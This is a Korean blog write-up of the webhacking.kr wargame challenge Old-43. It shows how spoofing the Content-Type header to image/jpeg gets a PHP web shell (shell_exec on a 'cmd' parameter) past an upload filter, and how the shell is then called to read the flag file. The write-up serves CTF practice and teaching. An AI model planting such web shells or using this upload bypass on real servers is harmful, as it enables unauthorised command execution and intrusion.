Season 1/워게임

Old - 43 Write Up

작성자 - LRTK

이번 문제는 웹쉘을 업로드하여, 웹쉘로 flag 파일을 읽는 문제이다.

 

나는 명령어를 실행시킬 수 있는 코드를 가진 PHP를 업로드를 해봤다.

  • test.php
    <?php echo shell_exec($_GET['cmd']); ?>
  • 업로드 결과
    잘못된 타입이라면서 업로드가 거절되었다.

타입은 Content-Type를 지칭하는 것으로 판단된다.

나는 어떤 파일이 업로드가 가능한지 확인하기 위해 이미지 파일을 업로드해봤다.

업로드가 성공되는 것을 확인을 하여, 나는 해당 이미지의 Content-Type를 확인해봤다.

Content-Disposition: form-data; name="file"; filename="IMG_4926.jpg"
Content-Type: image/jpeg

 

이제 이미지 타입으로 test.php의 타입에 수정하여 보내봤다.

------WebKitFormBoundaryaBqyI9UjZ9h6RG5N
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg

<?php
echo shell_exec($_GET['cmd']);
?>
------WebKitFormBoundaryaBqyI9UjZ9h6RG5N--


업로드가 성공하였다.

나는 서버에 test.php를 요청하여 flag를 출력해봤다.

http://webhacking.kr:10004/upload/test.php?cmd=cat%20/flag


Flag를 얻을 수 있었다.

'Season 1 > 워게임' 카테고리의 다른 글

Old - 56 Write Up  (0) 2021.05.23
Old - 51 Write Up  (0) 2021.05.22
Old - 41 Write Up  (0) 2021.05.21
Old - 21 Write Up  (0) 2021.05.20
suninatas/웹/2번 문제풀이  (0) 2021.05.19
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.